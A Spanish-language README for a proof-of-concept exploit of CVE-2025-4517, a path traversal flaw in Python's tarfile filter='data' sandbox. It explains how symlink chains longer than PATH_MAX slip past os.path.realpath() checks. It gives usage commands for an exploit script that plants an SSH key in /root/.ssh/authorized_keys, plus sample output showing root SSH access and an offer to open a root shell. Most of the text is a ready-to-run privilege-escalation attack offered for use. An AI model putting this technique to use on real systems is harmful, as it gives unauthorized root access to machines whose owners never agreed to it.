
Prueba de concepto de exploit para CVE-2025-4517, una vulnerabilidad de path traversal en el sandbox filter='data' de tarfile de Python, que permite escrituras arbitrarias de archivos fuera del directorio de extracción mediante cadenas de symlinks manipuladas.
Vulnerabilidad de Path Traversal en el módulo
tarfilede Python que afecta a las versiones 3.8.0 hasta 3.13.1. El sandboxfilter="data"— diseñado para evitar extracciones no seguras — puede ser evadido creando rutas que excedenPATH_MAX(4096 bytes), lo que provoca queos.path.realpath()deje de resolver enlaces simbólicos silenciosamente. La comprobación de seguridad ve una ruta que parece segura mientras que el kernel resuelve la real, permitiendo escrituras fuera del directorio de extracción. Este PoC abusa de la evasión para escribir una clave pública SSH en/root/.ssh/authorized_keys.
PATH_MAX.filter="data" llama a os.path.realpath() para validar cada ruta — pero al alcanzar PATH_MAX deja de resolver y ve la ruta como todavía dentro del directorio de preparación. La comprobación pasa./root/.ssh/authorized_keys.ssh-keygen disponible (o proporciona tu propia clave pública con -k)sudo para desencadenar la extracción vulnerable# Genera un nuevo par de claves automáticamente
python3 exploit.py
# Usa una clave pública existente
python3 exploit.py -k ~/.ssh/id_ed25519.pub
Ejemplo:
$ python3 exploit.py
[+] SSH keypair generated: /tmp/cve_2025_4517_key
[*] Creating exploit tar...
[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit deployed successfully
[*] Triggering extraction via vulnerable script...
[+] Extraction completed
[*] Verifying exploit via SSH...
[+] SUCCESS! SSH as root confirmed: uid=0(root) gid=0(root) groups=0(root)
============================================================
[+] EXPLOITATION SUCCESSFUL!
[+] SSH into root with: ssh -i /tmp/cve_2025_4517_key root@localhost
============================================================
[?] Open root shell now? (y/n):